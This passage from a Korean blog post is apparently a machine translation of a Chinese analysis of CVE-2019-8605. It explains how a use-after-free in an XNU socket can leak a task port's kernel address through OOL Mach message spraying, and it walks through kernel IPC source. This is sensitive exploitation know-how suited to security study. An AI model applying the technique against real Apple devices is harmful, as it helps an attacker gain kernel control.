pointer\ub97c \ud1b5\ud574 \uc18c\ucf13 \uad00\ub828 \ud568\uc218\ub85c \ub2e4\uc2dc \ud574\ub2f9 \uac12\uc744 leak\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n<h3>dangling pointer\ub97c \ud1b5\ud574 task port\ub97c leak\uc2dc\ud0a4\ub294 \uc2ec\uce35\ud0d0\uad6c \ubd84\uc11d\ub0b4\uc6a9<\/h3>\n<p>\ucd9c\ucc98:<\/p>\n<p><a href=\"https:\/\/wnagzihxa1n.vip\/assets\/pdf\/CVE-2019-8605%20FROM%20UAF%20TO%20TFP0.pdf\">https:\/\/wnagzihxa1n.vip\/assets\/pdf\/CVE-2019-8605 FROM UAF TO TFP0.pdf<\/a> \/ \ucd9c\ucc98\uc5d0 \uc788\ub294 \uae00\uc744 ChatGPT\ub85c \ubc88\uc5ed\ud568.<\/p>\n<p>UAF(Use-After-Free) \ucde8\uc57d\uc810\uc758 \uc77c\ubc18\uc801\uc778 \uc775\uc2a4\ud50c\ub85c\uc787 \ubc29\uc2dd\uc740 \ud574\uc81c\ub41c \uacf5\uac04\uc5d0 \ub2e4\uc2dc \ud560\ub2f9\ub418\ub3c4\ub85d heap spraying\uc744 \uc218\ud589\ud558\uc5ec \uc8fc\uc18c\ub97c \ud55c\ubc88 \ub204\ucd9c\uc2dc\ucf1c\ubcf4\uc790.<\/p>\n<p>\uadf8\ub807\ub2e4\uba74 \uc5b4\ub5a4 \uc8fc\uc18c\ub97c \ub204\ucd9c\ud574\ubcfc\uae4c?<\/p>\n<p><strong>Task Port<\/strong><\/p>\n<p>Task Port\uac00 \ubb34\uc5c7\uc774\uba70, \uc774\ub97c \ud68d\ub4dd\ud588\uc744 \ub54c \ubb34\uc5c7\uc744 \ud560 \uc218 \uc788\ub294\uc9c0\ub97c \uc124\uba85\ud558\uae30 \uc704\ud574 \uba3c\uc800 XNU\uc5d0\uc11c\uc758 Task \uac1c\ub150\uc744 \uc18c\uac1c\ud574\ubcf4\uaca0\ub2e4.<\/p>\n<p>Task\ub294 \uc790\uc6d0\uc758 \ucee8\ud14c\uc774\ub108\ub85c, \uac00\uc0c1 \uc8fc\uc18c \uacf5\uac04, \ud504\ub85c\uc138\uc11c \uc790\uc6d0, \uc2a4\ucf00\uc904\ub9c1 \uc81c\uc5b4 \ub4f1\uc744 \ucea1\uc290\ud654\ud78c\ub2e4. \uc774\uc5d0 \ub300\uc751\ub418\ub294 \uad6c\uc870\uccb4\ub294 \ub2e4\uc74c\uacfc \uac19\uc73c\uba70, \uc774 \uc911 \ud2b9\ud788 <strong>IPC \uad6c\uc870\uccb4 \ubd80\ubd84<\/strong>\uc744 \uc8fc\ubaa9\ud558\uc790.<\/p>\n<pre><code class=\"language-c\">struct task {\n\t\/* Synchronization\/destruction information *\/\n\tdecl_lck_mtx_data(,lock)\t\t\/* Task's lock *\/\n\t_Atomic uint32_t\tref_count;\t\/* Number of references to me *\/\n\tboolean_t\tactive;\t\t\/* Task has not been terminated *\/\n\tboolean_t\thalting;\t\/* Task is being halted *\/\n\t\/* Virtual timers *\/\n\tuint32_t\t\tvtimers;\n\n\t\/* Miscellaneous *\/\n\tvm_map_t\tmap;\t\t\/* Address space description *\/\n\tqueue_chain_t\ttasks;\t\/* global list of tasks *\/\n\n#if defined(CONFIG_SCHED_MULTIQ)\n\tsched_group_t sched_group;\n#endif \/* defined(CONFIG_SCHED_MULTIQ) *\/\n\n\t\/* Threads in this task *\/\n\tqueue_head_t\t\tthreads;\n\n\tprocessor_set_t\t\tpset_hint;\n\tstruct affinity_space\t*affinity_space;\n\n\tint\t\t\tthread_count;\n\tuint32_t\t\tactive_thread_count;\n\tint\t\t\tsuspend_count;\t\/* Internal scheduling only *\/\n\n\t\/* User-visible scheduling information *\/\n\tinteger_t\t\tuser_stop_count;\t\/* outstanding stops *\/\n\tinteger_t\t\tlegacy_stop_count;\t\/* outstanding legacy stops *\/\n\n\tinteger_t\t\tpriority;\t\t\t\/* base priority for threads *\/\n\tinteger_t\t\tmax_priority;\t\t\/* maximum priority for threads *\/\n\n\tinteger_t\t\timportance;\t\t\/* priority offset (BSD 'nice' value) *\/\n\n\t\/* Task security and audit tokens *\/\n\tsecurity_token_t sec_token;\n\taudit_token_t\taudit_token;\n\n\t\/* Statistics *\/\n\tuint64_t\t\ttotal_user_time;\t\/* terminated threads only *\/\n\tuint64_t\t\ttotal_system_time;\n\tuint64_t\t\ttotal_ptime;\n\tuint64_t\t\ttotal_runnable_time;\n\n\t\/* IPC structures *\/\n\tdecl_lck_mtx_data(,itk_lock_data)\n\tstruct ipc_port *itk_self;\t\/* not a right, doesn't hold ref *\/\n\tstruct ipc_port *itk_nself;\t\/* not a right, doesn't hold ref *\/\n\tstruct ipc_port *itk_sself;\t\/* a send right *\/\n\tstruct exception_action exc_actions[EXC_TYPES_COUNT];\n\t\t \t\t\t\/* a send right each valid element  *\/\n\tstruct ipc_port *itk_host;\t\/* a send right *\/\n\tstruct ipc_port *itk_bootstrap;\t\/* a send right *\/\n\tstruct ipc_port *itk_seatbelt;\t\/* a send right *\/\n\tstruct ipc_port *itk_gssd;\t\/* yet another send right *\/\n\tstruct ipc_port *itk_debug_control; \/* send right for debugmode communications *\/\n\tstruct ipc_port *itk_task_access; \/* and another send right *\/ \n\tstruct ipc_port *itk_resume;\t\/* a receive right to resume this task *\/\n\tstruct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];\n\t\t\t\t\t\/* all send rights *\/\n\n\t**struct ipc_space *itk_space;\n\t...\n}**\n<\/code><\/pre>\n<p>\uac04\ub2e8\ud788 \ub9d0\ud574, <strong>Task Port<\/strong>\ub294 \ud558\ub098\uc758 \ud0dc\uc2a4\ud06c(\uc791\uc5c5) \uc790\uccb4\ub97c \ub098\ud0c0\ub0b4\ub294 \ud3ec\ud2b8\uc774\ub2e4.\n<code>mach_task_self<\/code> \ub610\ub294 <code>mach_task_self()<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uba74 \uc774\ub97c \uc5bb\uc744 \uc218 \uc788\uc73c\uba70, \uc774 \ud3ec\ud2b8\ub97c \ud65c\uc6a9\ud574 \ub2e4\uc591\ud55c \uc791\uc5c5\uc744 \uc218\ud589\ud560 \uc218 \uc788\ub2e4!<\/p>\n<p>\uc608\ub97c \ub4e4\uc5b4, \uc544\ub798 \ucf54\ub4dc\uc5d0\uc11c \uc0ac\uc6a9\ud558\ub294 \ud568\uc218 <code>find_port_via_uaf()<\/code>\uc758 \uccab \ubc88\uc9f8 \uc778\uc790\ub294 \ubc14\ub85c <code>mach_task_self()<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 \ud68d\ub4dd\ub41c Task Port\uc774\ub2e4.<\/p>\n<p>Task Port\ub97c \ub204\ucd9c\ud558\ub294 \uacfc\uc815\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p>\uba3c\uc800 \ucde8\uc57d\uc810\uc774 \uc874\uc7ac\ud558\ub294 \uc18c\ucf13\uc744 \ud68d\ub4dd\ud55c \ub4a4, \ud574\uc81c\ub41c \uba54\ubaa8\ub9ac\ub97c \ucc44\uc6b4 \ud6c4 <code>inp-&gt;in6p_outputopts<\/code>\ub97c \uc774\uc6a9\ud574 \ub370\uc774\ud130\ub97c \uc77d\uc5b4\uc628\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c <strong>\uc9c1\uc811 \ub370\uc774\ud130\ub97c \ucc44\uc6b0\uc9c0 \uc54a\ub294 \uc774\uc720<\/strong>\ub294, \ud3ec\ud2b8(Port)\ub294 \uc0ac\uc6a9\uc790 \ubaa8\ub4dc\uc640 \ucee4\ub110 \ubaa8\ub4dc\uc5d0\uc11c \ud45c\ud604 \ubc29\uc2dd\uc774 \ub2e4\ub974\uae30 \ub54c\ubb38\uc778\ub370, \ub2e8\uc21c\ud788 \uc0ac\uc6a9\uc790 \ubaa8\ub4dc\uc5d0\uc11c \ud3ec\ud2b8\ub97c \ucc44\uc6b4\ub2e4\uace0 \ud574\uc11c \ucee4\ub110 \ubaa8\ub4dc\uc5d0\uc11c \uc62c\ubc14\ub974\uac8c \uc778\uc2dd\ub418\ub294 \uac83\uc774 \uc544\ub2c8\ubbc0\ub85c, \ud3ec\ud2b8\ub97c \ubb34\uc791\uc815 \ucc44\uc6cc \ub123\uc5b4\uc120 \uc548\ub41c\ub2e4.<\/p>\n<ul>\n<li>\uc0ac\uc6a9\uc790 \ubaa8\ub4dc\uc5d0\uc11c\ub294 Port\uac00 <strong>\ubd80\ud638 \uc5c6\ub294 \uc815\uc218\ud615(unsigned int)\uc774\uba70<\/strong><\/li>\n<li>\ucee4\ub110 \ubaa8\ub4dc\uc5d0\uc11c\ub294 Port\uac00 <strong><code>ipc_port<\/code> \uad6c\uc870\uccb4\uc774\ub2e4.<\/strong><\/li>\n<\/ul>\n<p>\uadf8\ub807\ub2e4\uba74 \uc5b4\ub5bb\uac8c \uc774 <code>ipc_port<\/code> \uad6c\uc870\uccb4\uc758 <strong>\ucee4\ub110 \uc8fc\uc18c<\/strong>\ub97c <code>inp-&gt;in6p_outputopts<\/code>\uc5d0 \ud560\ub2f9\ud560 \uc218 \uc788\uc744\uae4c?<\/p>\n<p>\uc815\ub2f5\uc740: <strong>OOL Message(Out-Of-Line \uba54\uc2dc\uc9c0)<\/strong> \ub97c \uc0ac\uc6a9\ud558\ub294 \uac83\uc774\ub2e4.<\/p>\n<p><code>OOL Message<\/code>\ub294 \ub2e4\uc74c\uacfc \uac19\uc774 \uc815\uc758\ub418\uba70, \uadf8\uc911 <code>mach_msg_ool_ports_descriptor_t<\/code> \uad6c\uc870\uccb4\ub294 \ud558\ub098\uc758 \uba54\uc2dc\uc9c0 \uc548\uc5d0 \ud3ec\ud2b8 \ubc30\uc5f4 \ud615\ud0dc\ub85c \uc5ec\ub7ec Mach Port\ub97c \ubcf4\ub0bc \uc218 \uc788\ub3c4\ub85d \uc124\uacc4\ub418\uc5b4 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">struct ool_msg {\n mach_msg_header_t hdr;\n mach_msg_body_t body;\n mach_msg_ool_ports_descriptor_t ool_ports;\n};\n<\/code><\/pre>\n<p>\uc65c OOL(Message)\uc744 \ucc44\uc6b0\ub294 \ub370 \uc0ac\uc6a9\ud574\uc57c \ud560\uae4c?\n\uadf8 \uc774\uc720\ub294 \uc18c\uc2a4 \ucf54\ub4dc\ub97c \ubd84\uc11d\ud558\uba74 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<p>Mach \uba54\uc2dc\uc9c0\uc758 \uc1a1\uc218\uc2e0\uc740 <code>mach_msg()<\/code> \ud568\uc218\uc5d0 \uc758\uc874\ud558\uba70, \uc774 \ud568\uc218\ub294 <strong>\uc0ac\uc6a9\uc790 \ubaa8\ub4dc\uc640 \ucee4\ub110 \ubaa8\ub4dc \ubaa8\ub450\uc5d0 \uad6c\ud604<\/strong>\ub418\uc5b4 \uc788\ub2e4.<\/p>\n<p>\uc6b0\ub9ac\uac00 <code>mach_msg()<\/code> \ud568\uc218\ub97c \ub530\ub77c\uac00 \ubcf4\uba74, \uc774 \ud568\uc218\ub294 \ub0b4\ubd80\uc801\uc73c\ub85c <code>mach_msg_trap()<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uace0,<\/p>\n<p><code>mach_msg_trap()<\/code> \ud568\uc218\ub294 \ub2e4\uc2dc <code>mach_msg_overwrite_trap()<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uac8c \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">mach_msg_return_t\nmach_msg_trap(\n struct mach_msg_overwrite_trap_args *args)\n{\n kern_return_t kr;\n args-&gt;rcv_msg = (mach_vm_address_t)0;\n kr = mach_msg_overwrite_trap(args);\n return kr;\n}\n<\/code><\/pre>\n<p><code>mach_msg()<\/code> \ud568\uc218\uc758 \ub450 \ubc88\uc9f8 \uc778\uc790\uac00 <code>MACH_SEND_MSG<\/code>\uc77c \ub54c,<\/p>\n<p>\ub0b4\ubd80\uc801\uc73c\ub85c <strong><code>ipc_kmsg_get()<\/code><\/strong> \ud568\uc218\uac00 \ud638\ucd9c\ub418\uc5b4 <strong>\ubc84\ud37c\ub97c \ud560\ub2f9<\/strong>\ud558\uace0 <strong>\uc0ac\uc6a9\uc790 \ubaa8\ub4dc\uc758 \ub370\uc774\ud130\ub97c \ucee4\ub110 \ubaa8\ub4dc\ub85c \ubcf5\uc0ac<\/strong>\ud558\uac8c \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">mach_msg_return_t\nmach_msg_overwrite_trap(\n struct mach_msg_overwrite_trap_args *args)\n{\n mach_vm_address_t msg_addr = args-&gt;msg;\n mach_msg_option_t option = args-&gt;option; \/\/ mach_msg() \ub450 \ubc88\uc9f8 \uc778\uc790\n\u4e2a\u53c2\u6570\n ...\n mach_msg_return_t mr = MACH_MSG_SUCCESS; \/\/ \u2f24\u5409\u2f24\u5229\n vm_map_t map = current_map();\n \/* Only accept options allowed by the user *\/\n option &amp;= MACH_MSG_OPTION_USER;\n if (option &amp; MACH_SEND_MSG) {\n ipc_space_t space = current_space();\n ipc_kmsg_t kmsg; \/\/ kmsg \ubcc0\uc218\ub97c \uc0dd\uc131\n \/\/ \ubc84\ud37c\ub97c \ud560\ub2f9\ud558\uace0 \uc0ac\uc6a9\uc790 \ubaa8\ub4dc\uc5d0\uc11c \ucee4\ub110 \ubaa8\ub4dc\ub85c \uba54\uc2dc\uc9c0 \ud5e4\ub354\ub97c \ubcf5\uc0ac\n mr = ipc_kmsg_get(msg_addr, send_size, &amp;kmsg);\n \/\/ \ud3ec\ud2b8\ub97c \ubcc0\ud658\ud558\uace0 \uba54\uc2dc\uc9c0 \ubcf8\ubb38\uc744 \ubcf5\uc0ac\n mr = ipc_kmsg_copyin(kmsg, space, map, override, &amp;option);\n \/\/ \uba54\uc2dc\uc9c0\ub97c \uc804\uc1a1\n mr = ipc_kmsg_send(kmsg, option, msg_timeout);\n }\n if (option &amp; MACH_RCV_MSG) {\n ...\n }\n return MACH_MSG_SUCCESS;\n }\n<\/code><\/pre>\n<p>\ud568\uc218 <code>ipc_kmsg_get()<\/code>\uc5d0\uc11c <code>ipc_kmsg_t<\/code>\ub294 <strong>\ucee4\ub110 \ubaa8\ub4dc\uc758 \uba54\uc2dc\uc9c0 \uc800\uc7a5 \uad6c\uc870\uccb4<\/strong>\uc774\ub2e4.<\/p>\n<p>\ubcf5\uc0ac \uacfc\uc815\uc740 \uc8fc\uc11d\uc744 \ubcf4\uba74 \ub418\uba70, \uc5ec\uae30\uc11c\ub294 \uc8fc\ub85c <code>kmsg-&gt;ikm_header<\/code> \ub97c \ucc98\ub9ac\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">mach_msg_return_t\nipc_kmsg_get(\n mach_vm_address_t msg_addr,\n mach_msg_size_t size,\n ipc_kmsg_t *kmsgp)\n{\n mach_msg_size_t msg_and_trailer_size;\n ipc_kmsg_t kmsg;\n mach_msg_max_trailer_t *trailer;\n mach_msg_legacy_base_t legacy_base;\n mach_msg_size_t len_copied;\n legacy_base.body.msgh_descriptor_count = 0;\n \/\/ \uae38\uc774 \ud30c\ub77c\ubbf8\ud130 \uac80\uc0ac\n ...\n \/\/ mach_msg_legacy_base_t \uad6c\uc870\uccb4\uc758 \uae38\uc774\ub294 mach_msg_base_t\uc640 \ub3d9\uc77c\ud568\n if (size == sizeof(mach_msg_legacy_header_t)) {\n len_copied = sizeof(mach_msg_legacy_header_t);\n } else {\n len_copied = sizeof(mach_msg_legacy_base_t);\n }\n\n \/\/ \uc0ac\uc6a9\uc790 \ubaa8\ub4dc\uc5d0\uc11c \ucee4\ub110 \ubaa8\ub4dc\ub85c \uba54\uc2dc\uc9c0\ub97c \ubcf5\uc0ac\n if (copyinmsg(msg_addr, (char *)&amp;legacy_base, len_copied)) {\n return MACH_SEND_INVALID_DATA;\n }\n \/\/ \ucee4\ub110 \ubaa8\ub4dc \uba54\uc2dc\uc9c0 \ubcc0\uc218\uc758 \uc2dc\uc791 \uc8fc\uc18c\ub97c \uac00\uc838\uc634\n msg_addr += sizeof(legacy_base.header);\n \/\/ \uac00\uc7a5 \uae34 trailer \uae38\uc774\ub97c \uc9c1\uc811 \ub354\ud558\ub294 \uc774\uc720\ub294, \uc218\uc2e0\uc790\uac00 \uc5b4\ub5a4 \uc885\ub958\uc758 trailer\ub97c \uc815\uc758\ud560\uc9c0 \uc54c \uc218 \uc5c6\uae30 \ub54c\ubb38\uc5d0 \uc774\uacf3\uc5d0\uc11c\ub294 \uc608\ube44 \ucc98\ub9ac.\n \/\/ typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;\n \/\/ #define MAX_TRAILER_SIZE\n((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))\n msg_and_trailer_size = size + MAX_TRAILER_SIZE;\n\n \/\/ \ucee4\ub110 \uacf5\uac04 \ud560\ub2f9\n kmsg = ipc_kmsg_alloc(msg_and_trailer_size);\n \/\/ kmsg.ikm_header\uc758 \uc77c\ubd80 \ud544\ub4dc\ub97c \ucd08\uae30\ud654\n ...\n \/\/ \uba54\uc2dc\uc9c0 \ubcf8\ubb38\uc744 \ubcf5\uc0ac\ud568 (\uc5ec\uae30\uc11c\ub294 trailer\ub294 \ud3ec\ud568\ub418\uc9c0 \uc54a\uc74c)\n if (copyinmsg(msg_addr, (char *)(kmsg-&gt;ikm_header + 1), size -\n(mach_msg_size_t)sizeof(mach_msg_header_t))) {\n ipc_kmsg_free(kmsg);\n return MACH_SEND_INVALID_DATA;\n }\n \/\/ size\ub97c \ud1b5\ud574 kmsg\uc758 \ub05d\ubd80\ubd84, \uc989 trailer\uc758 \uc2dc\uc791 \uc8fc\uc18c\ub97c \ucc3e\uc544 \ucd08\uae30\ud654\ud568\n trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg-&gt;ikm_header + size);\n trailer-&gt;msgh_sender = current_thread()-&gt;task-&gt;sec_token;\n trailer-&gt;msgh_audit = current_thread()-&gt;task-&gt;audit_token;\n trailer-&gt;msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;\n trailer-&gt;msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;\n trailer-&gt;msgh_labels.sender = 0;\n\n *kmsgp = kmsg;\n return MACH_MSG_SUCCESS;\n}\n<\/code><\/pre>\n<p>\ud568\uc218 <code>ipc_kmsg_copyin()<\/code>\uc740 \uc5ec\uae30\uc11c \uc6b0\ub9ac\uac00 \uc911\uc810\uc801\uc73c\ub85c \ubd84\uc11d\ud560 \ub85c\uc9c1\uc774\ub2e4.<\/p>\n<p>\uc804\uccb4 \ucf54\ub4dc\uc5d0\uc11c \uc5c5\ubb34\uc640 \ubb34\uad00\ud55c \ubd80\ubd84\uc740 \uc0ad\uc81c\ud558\uc600\uc73c\uba70,<\/p>\n<p>\ud568\uc218 <code>ipc_kmsg_copyin_header()<\/code>\ub294 \uc6b0\ub9ac\uac00 \ubd84\uc11d\ud560 \ub85c\uc9c1\uacfc \uad00\ub828\uc774 \uc5c6\uc73c\ubbc0\ub85c \uc81c\uc678\ud558\uace0,<\/p>\n<p>\uc8fc\ub85c \ud568\uc218 <code>ipc_kmsg_copyin_body()<\/code>\ub97c \uc0b4\ud3b4\ubcf8\ub2e4.<\/p>\n<pre><code class=\"language-c\">mach_msg_return_t\nipc_kmsg_copyin(\n ipc_kmsg_t kmsg,\n ipc_space_t space,\n vm_map_t map,\n mach_msg_priority_t override,\n mach_msg_option_t *optionp)\n{\n mach_msg_return_t mr;\n kmsg-&gt;ikm_header-&gt;msgh_bits &amp;= MACH_MSGH_BITS_USER;\n mr = ipc_kmsg_copyin_header(kmsg, space, override, optionp);\n if ((kmsg-&gt;ikm_header-&gt;msgh_bits &amp; MACH_MSGH_BITS_COMPLEX) == 0)\n return MACH_MSG_SUCCESS;\n mr = ipc_kmsg_copyin_body( kmsg, space, map, optionp);\n return mr;\n}\n<\/code><\/pre>\n<p>\ud568\uc218 <code>ipc_kmsg_copyin_body()<\/code>\ub294 \uba3c\uc800 OOL \ub370\uc774\ud130\uac00 \uc870\uac74\uc744 \ub9cc\uc871\ud558\ub294\uc9c0 \ud655\uc778\ud558\uace0,<\/p>\n<p>\uc0c1\ud669\uc5d0 \ub530\ub77c \ucee4\ub110 \uacf5\uac04\uc744 \uc870\uc815\ud55c \ub4a4,<\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c \ud575\uc2ec \ud568\uc218\uc778 <code>ipc_kmsg_copyin_ool_ports_descriptor()<\/code>\ub97c \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">mach_msg_return_t\nipc_kmsg_copyin_body(\n ipc_kmsg_t kmsg,\n ipc_space_t space,\n vm_map_t map,\n mach_msg_option_t *optionp)\n{\n ipc_object_t dest;\n mach_msg_body_t *body;\n mach_msg_descriptor_t *daddr, *naddr;\n mach_msg_descriptor_t *user_addr, *kern_addr;\n mach_msg_type_number_t dsc_count;\n \/\/ #define VM_MAX_ADDRESS ((vm_address_t) 0x80000000)\n boolean_t is_task_64bit = (map-&gt;max_offset &gt;\nVM_MAX_ADDRESS);\n boolean_t complex = FALSE;\n vm_size_t space_needed = 0;\n vm_offset_t paddr = 0;\n vm_map_copy_t copy = VM_MAP_COPY_NULL;\n mach_msg_type_number_t i;\n mach_msg_return_t mr = MACH_MSG_SUCCESS;\n vm_size_t descriptor_size = 0;\n mach_msg_type_number_t total_ool_port_count = 0;\n \/\/ \ubaa9\ud45c \ud3ec\ud2b8\n dest = (ipc_object_t) kmsg-&gt;ikm_header-&gt;msgh_remote_port;\n \/\/ \ucee4\ub110 \ubaa8\ub4dc \uba54\uc2dc\uc9c0 \ubcf8\ubb38\uc758 \uc2dc\uc791 \uc8fc\uc18c\n body = (mach_msg_body_t *) (kmsg-&gt;ikm_header + 1);\n naddr = (mach_msg_descriptor_t *) (body + 1);\n \/\/ msgh_descriptor_count\uac00 0\uc774\uba74 \ub370\uc774\ud130\uac00 \uc5c6\ub2e4\ub294 \uc758\ubbf8\uc774\ubbc0\ub85c \ubc14\ub85c \ubc18\ud658\ub428 \u2014 \uc5ec\uae30\uc11c\ub294 \uc6b0\ub9ac\uac00 1\ub85c \uc124\uc815\ud568\n dsc_count = body-&gt;msgh_descriptor_count;\n if (dsc_count == 0) return MACH_MSG_SUCCESS;\n daddr = NULL;\n for (i = 0; i &lt; dsc_count; i++) {\n mach_msg_size_t size;\n mach_msg_type_number_t ool_port_count = 0;\n daddr = naddr;\n \/* make sure the descriptor fits in the message *\/\n \/\/ \uad6c\uc870\uccb4 mach_msg_ool_ports_descriptor_t\uc758 \uccab \ubc88\uc9f8 \ud544\ub4dc\ub294 \uc8fc\uc18c\uc784\n \/\/ void* address;\n \/\/ 64\ube44\ud2b8\uc5d0\uc11c\ub294 8\ubc14\uc774\ud2b8, 32\ube44\ud2b8\uc5d0\uc11c\ub294 4\ubc14\uc774\ud2b8\n if (is_task_64bit) {\n switch (daddr-&gt;type.type) {\n case MACH_MSG_OOL_DESCRIPTOR:\n case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:\n case MACH_MSG_OOL_PORTS_DESCRIPTOR:\n descriptor_size += 16;\n naddr = (typeof(naddr))((vm_offset_t)daddr + 16);\n break;\n default:\n descriptor_size += 12;\n naddr = (typeof(naddr))((vm_offset_t)daddr + 12);\n break;\n }\n } else {\n descriptor_size += 12;\n naddr = (typeof(naddr))((vm_offset_t)daddr + 12);\n }\n }\n user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg-\n&gt;ikm_header + sizeof(mach_msg_base_t));\n \/\/ \uc67c\ucabd\uc73c\ub85c \uc774\ub3d9\uc774 \ud544\uc694\ud55c\uc9c0 \ud310\ub2e8 \u2014 \uae30\ubcf8\uc801\uc73c\ub85c descriptor\uac00 1\uac1c\uc77c \ub54c \ud06c\uae30\ub294 16\ubc14\uc774\ud2b8\uc774\uba70,\n \/\/ \uc6b0\ub9ac\ub294 1\uac1c\ub9cc \uc124\uc815\ud588\uae30 \ub54c\ubb38\uc5d0 \uc774\ub3d9\ud560 \ud544\uc694\ub294 \uc5c6\uc74c\n if(descriptor_size != 16*dsc_count) {\n vm_offset_t dsc_adjust = 16*dsc_count - descriptor_size;\n memmove((char *)(((vm_offset_t)kmsg-&gt;ikm_header) -\ndsc_adjust), kmsg-&gt;ikm_header, sizeof(mach_msg_base_t));\n kmsg-&gt;ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg-\n&gt;ikm_header - dsc_adjust);\n kmsg-&gt;ikm_header-&gt;msgh_size += (mach_msg_size_t)dsc_adjust;\n }\n kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg-\n&gt;ikm_header + sizeof(mach_msg_base_t));\n \/* handle the OOL regions and port descriptors. *\/\n for(i = 0; i &lt; dsc_count; i++) {\n switch (user_addr-&gt;type.type) {\n case MACH_MSG_OOL_PORTS_DESCRIPTOR:\n user_addr =\nipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t\n*)kern_addr,\n user_addr, is_task_64bit, map, space,\ndest, kmsg, optionp, &amp;mr);\n kern_addr++;\n complex = TRUE;\n break;\n }\n } \/* End of loop *\/\n\n ...\n}\n<\/code><\/pre>\n<p>\ud568\uc218 <code>ipc_kmsg_copyin_ool_ports_descriptor()<\/code>\ub294 OOL \ub370\uc774\ud130\ub97c \ucc98\ub9ac\ud558\ub294 \ub370 \uc9d1\uc911\ud558\uba70,<\/p>\n<p>\ud575\uc2ec \ud568\uc218\uc778 <code>ipc_object_copyin()<\/code>\uc744 \ud638\ucd9c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">mach_msg_descriptor_t *\nipc_kmsg_copyin_ool_ports_descriptor(\n mach_msg_ool_ports_descriptor_t *dsc,\n mach_msg_descriptor_t *user_dsc,\n int is_64bit,\n vm_map_t map,\n ipc_space_t space,\n ipc_object_t dest,\n ipc_kmsg_t kmsg,\n mach_msg_option_t *optionp,\n mach_msg_return_t *mr)\n{\n void *data;\n ipc_object_t *objects;\n unsigned int i;\n mach_vm_offset_t addr;\n mach_msg_type_name_t user_disp;\n mach_msg_type_name_t result_disp;\n mach_msg_type_number_t count;\n mach_msg_copy_options_t copy_option;\n boolean_t deallocate;\n mach_msg_descriptor_type_t type;\n vm_size_t ports_length, names_length;\n if (is_64bit) {\n mach_msg_ool_ports_descriptor64_t *user_ool_dsc =\n(typeof(user_ool_dsc))user_dsc;\n addr = (mach_vm_offset_t)user_ool_dsc-&gt;address;\n count = user_ool_dsc-&gt;count;\n deallocate = user_ool_dsc-&gt;deallocate;\n copy_option = user_ool_dsc-&gt;copy;\n user_disp = user_ool_dsc-&gt;disposition;\n type = user_ool_dsc-&gt;type;\n user_dsc = (typeof(user_dsc))(user_ool_dsc+1);\n } else {\n ...\n }\n data = kalloc(ports_length);\n#ifdef __LP64__\n mach_port_name_t *names = &amp;((mach_port_name_t *)data)[count];\n#else\n mach_port_name_t *names = ((mach_port_name_t *)data);\n#endif\n objects = (ipc_object_t *) data;\n dsc-&gt;address = data;\n for ( i = 0; i &lt; count; i++) {\n mach_port_name_t name = names[i];\n ipc_object_t object;\n if (!MACH_PORT_VALID(name)) {\n objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);\n continue;\n }\n kern_return_t kr = ipc_object_copyin(space, name, user_disp,\n&amp;object);\n objects[i] = object;\n }\n return user_dsc;\n}\n<\/code><\/pre>\n<p>\ud568\uc218 <code>ipc_object_copyin()<\/code>\uc740 \ub450 \uac1c\uc758 \ud568\uc218\ub97c \ud3ec\ud568\ud569\ub2c8\ub2e4: <code>ipc_right_lookup_write()<\/code>\uc640 <code>ipc_right_copyin()<\/code>\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">kern_return_t\nipc_object_copyin(\n ipc_space_t space,\n mach_port_name_t name,\n mach_msg_type_name_t msgt_name,\n ipc_object_t *objectp)\n{\n ipc_entry_t entry;\n ipc_port_t soright;\n ipc_port_t release_port;\n kern_return_t kr;\n int assertcnt = 0;\n kr = ipc_right_lookup_write(space, name, &amp;entry);\n release_port = IP_NULL;\n kr = ipc_right_copyin(space, name, entry,\n msgt_name, TRUE,\n objectp, &amp;soright,\n &amp;release_port,\n &amp;assertcnt);\n ...\n return kr;\n}\n<\/code><\/pre>\n<p>\ud568\uc218 <code>ipc_right_lookup_write()<\/code>\ub294 <code>ipc_entry_lookup()<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uba70,<\/p>\n<p>\uadf8 \ubc18\ud658\uac12\uc744 <code>entry<\/code>\uc5d0 \ud560\ub2f9\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">kern_return_t\nipc_right_lookup_write(\n ipc_space_t space,\n mach_port_name_t name,\n ipc_entry_t *entryp)\n{\n ipc_entry_t entry;\n is_write_lock(space);\n if ((entry = ipc_entry_lookup(space, name)) == IE_NULL) {\n is_write_unlock(space);\n return KERN_INVALID_NAME;\n }\n *entryp = entry;\n return KERN_SUCCESS;\n}\n<\/code><\/pre>\n<p>\uc5ec\uae30\uc11c \ub450 \uac00\uc9c0 \uac1c\ub150\uc744 \uc9da\uace0 \ub118\uc5b4\uac08 \ud544\uc694\uac00 \uc788\ub2e4.<\/p>\n<p>\uccab \ubc88\uc9f8\ub294 \uad6c\uc870\uccb4 <code>ipc_space<\/code>\ub85c, \uc774\ub294 \uc804\uccb4 Task\uc758 IPC \uacf5\uac04\uc744 \ub098\ud0c0\ub0b8\ub2e4.<\/p>\n<p>\ub450 